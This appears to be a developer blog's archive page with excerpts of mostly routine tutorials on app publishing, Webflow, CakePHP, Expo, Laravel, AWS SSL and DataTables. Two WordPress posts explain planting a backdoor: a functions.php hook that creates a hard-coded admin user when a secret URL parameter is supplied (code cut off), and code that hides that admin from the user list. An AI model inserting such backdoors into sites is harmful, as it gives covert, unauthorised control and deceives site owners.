Skip to main content

Posts

Showing posts from 2020

Latest: How to publish app on google play store 2021

 Tutorial : How to publish app on google play store  using Google Console New Layout 2021 To upload an app on google play store we need to create an account and also need to pay 25 USD one time fees. To create a developer account on play store , go to https://play.google.com/console/signup and fill the form or you can directly login with your Gmail account. Now after form submission you need to pay $25 one time fees. After that you can login into your account. and now on dashboard click on "All apps" and then click on "Create app" button Now you will see a form where you need to fill all required details like its a game or an app and its paid or free app and also need to accept privacy policy and terms then you can submit it. Now after saving details you can select this app and now click on left bar production button Now click on "Create new release" button that will show you app upload form like below screenshot , you need to upload your .apk or .aab file

Webflow Add pagination with pjax without reloading page

 Webflow is a powerful CMS tool and its most popular drag and drop cms tool. Sometimes we want to add pagination in our page  but Webflow having  pagination with page reload and do not provide ajax based pagination . So today we will learn how can we add custom pagination for a blog section that will refresh section without reloading current page. We will use Pjax jquery library for this.   So first go to the website and open designer and give id to your blogs section an id, like in this example we will pass "seamless-replace" id to our blogs page section , this section we will refresh through pjax request. Also make sure you have added pagination and your pagination block have class ".w-pagination-wrapper". Now so first go to dashboard and go to website settings like below screenshot    Now click on custom code like below ss   Now go to "Footer Code" and add the below code <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.pjax/2.0.1/jquer

How to generate a valid random mail using Jquery Javascript?

How to generate a valid random mail using Jquery or Javascript In this tutorial we will learn how to generate a random unique email address using Pure Javascript. Use below code it will return a function generateEmail() { var allchars = 'abcdefghijklmnopqrstuvwxyz1234567890'; var emailLength = 15; var string = ''; for(var i=0; i<emailLength; i++){     string += allchars[Math.floor(Math.random() * allchars.length)]; } string = string + '@gmail.com'; return string; } var newEmail = generateEmail(); alert(newEmail); Code Explain: We have created "allchars" variable that contains all possible characters that our function will use, if you want to remove numbers from it or add capital letters , you can edit this string. Then we have defined "emailLength" variable , You can change length of email according tou your requirement. Then we are looping until the length and generating random string using Math functions. Finally we are adding postfix em

Cakephp 4: How to convert string to hash password

CakePHP 4: How to convert string to hash password This tutorial works for both CakePHP  3 and CakePHP 4. Sometimes we want to add custom login or wants to add custom login  or we want client side password hashing using cakephp Hash functions , so for that we need to use DefaultPasswordHasher which provides inbuilt functionality to check two passwords , compare it or convert a string to Hash etc. To use password hashing please follow below steps:- Step 1 Call a class after the namespace. use Cake\Auth\DefaultPasswordHasher; Step 2 Now we can use functions of DefaultPasswordHasher().  Use below code to change a simple string password to a secure string and its non reversible . $password = "My Password String"; $hasher = new DefaultPasswordHasher(); $newPassword = $hasher->hash($password);  Now if you print $newPassword to test its working or not, then you will get it an unique hash everytime on refresh, because CakePHP use different mechanism to handle hash that is more secu

React native Expo get current location of a user

Expo get current location of a user  Expo is a very useful tool to create a mobile application using react native. it handles many complicated things like publish, generate certificates ,access camera , location etc. To get the location of a user , we need to install expo-location package so to install it please open terminal/cmd in current project folder and run below command   expo install expo-location above command will install expo location package. This package handles ask location permission, get long/lat details , get last location , current location etc. How it works ? To get access of user's current location we need to ask for permission to user by using Location.requestPermissionsAsync() function , this function will show a permission popup to user so user can allow it, If user reject it then we cannot get current location. Once user allow us to access location then we will use location package another function Location.getCurrentPositionAsync(), this function will retur

Set Timezone in laravel or get current time based on different timezones

 Set Timezone in laravel or get current time based on different timezones   Today we will learn how to set timezone globally in laravel and also we will learn how to get time of any timezone.   Laravel: Change Timezone globally Go to YOUR_PROJECT/config/app.php and open app.php and scroll to timezone section (line number 70) then you can see code like below 'timezone' => 'UTC', replace it with any timezone that you want to apply.To view or search a timezone you can check this PHP official documents . For example i want to change timezone to America/Vancouver so after changes my code is looking like below. 'timezone' => 'America/Vancouver', Now save this and print current time using date('Y-m-d H:i:s") function. Laravel: Get Current time based on any timezone Here we will use Carbon to get current time. So copy the below code and run it and you will see current time based on timezone you have passed. $currentTime= Carbon::now('America/V

AWS EC2 Add free ssl https with auto renewal

How to add free SSL with auto renewal in Amazon web services(AWS) server EC2 Linux In this tutorial we will integrate free SSL certificate for our website that is hosting on Amazon Linux 2 AMI and also we will make it auto renewal so after expiration of our certificate it will auto renew it without doing anything. So keep follow below steps. First we need Putty and ppk file to connect our server through terminal. If you do not know about Putty, then Putty is a software that we can use to connect to any server through ssh and PPK file we can generate through PEM file , AWS provides PEM file when we create an instance and it generates only one time so you need to use that and by using that you need to establish a connection with server. Now After successful connection we can see a screen like below screenshot: So first we will run  a command to check our server is running STEP 1 : Enable TLS sudo systemctl is-enabled httpd It will return "enabled" , if it not return "enabl

WP create a hidden backdoor for access admin panel

 WP create a secret backdoor for access admin panel Create an hidden admin user programmatically to gain admin access in wordpress   To create a hidden backdoor to access admin panel in any wordpress website, we need to add a simple code snippet in our functions.php file. How it works ? We will add a code snippet in functions.php that will check get request by using $_GET method of php and if its exists then it will get value of it and match it with our pre defined hash code. For hash code we are using MD5 so it will be secure. We are using "thecoderain" as our new admin username and 'coderain007' as our password. If you want ,You can change according to you. So first open functions.php file and paste below code add_action( 'wp_head', 'mysecret_backdoor' ); function mysecret_backdoor() { if ( md5( $_GET['secretadmin'] ) == ' bc1bd15de8d5b0ce4944c87f2f960fd0 ' ) { require( 'wp-includes/registration.php' );

WP Hide A Specific Admin Account From Admin Panel User List

Wordpress How to Hide A Specific Admin Account From Admin Panel User List Wordpress is the most popular PHP CMS that is used by many websites, it provides an admin panel to manage it, also we can create multiple users to manage it, but sometimes we want to hide an admin  from the user list so no one can delete it , also it works like a hidden way of access admin panel. First create an account that you want to hide or if you already have that account then we can use that too. So to hide an admin account from user list we need two functions , one is to hide user from users lists and second code to show total users count. Open functions.php file of your current theme (Location: wp-content/themes/YOUR_THEME_NAME/functions.php) and add below code there. 1. Hide an admin from the users list or wp backend add_action('pre_user_query','site_pre_user_query'); function site_pre_user_query($user_search) {   global $current_user;   $username = $current_user->user_login;    

Datatable Change or remove search box label text

Datatable Change or remove search box label text Datatable is a jQuery plugin which converts a simple html table to a dynamic table with advance functionality like searching , sorting, pagination etc. By default datatable show a search box to filter records based on the column values that match with the search input box value and its have a label with "Search" text. So today we will learn how to remove datatable search input box label or change text to any text. 1. Remove/Delete Text of datatable search box label  To remove "Search" text from label , you need to pass language parameter with datatable initialization like below code. Example Code: var table = $('#datatableId').DataTable( {     language: { search: "" }, }); 2. Change/Modify Text of datatable search box label To modify text or replace with custom text you need to pass value of language.search object to your text like below code. Example Code: var table = $('# datatableId ').Da

jQuery Datatable add date range filter

jQuery Datatable add date range filter Datatable is most useful jQuery plugin that helps to make our html tables more powerful and give powers to user to filter , search, sort, pagination etc, But Data table provides a common filter only and yes we can customize and add filter for each column, but still sometimes we need an advance filter like show results only between a date range, So today we will learn how to create a minimum and maximum date range fields and show date picker on it, and user can fill dates by selecting dates and data table will auto filter records based on it. Keep follow below steps :- I am using Bootstrap if you want to use any other framework then you can use. Create a new index.php file  and paste below code in it, i have used all required CDN like bootstrap, datatable, datepicker etc. <!DOCTYPE html> <html> <head>     <title>Datatable Date Range Filter Example</title>     <link rel="stylesheet" href="https://maxcd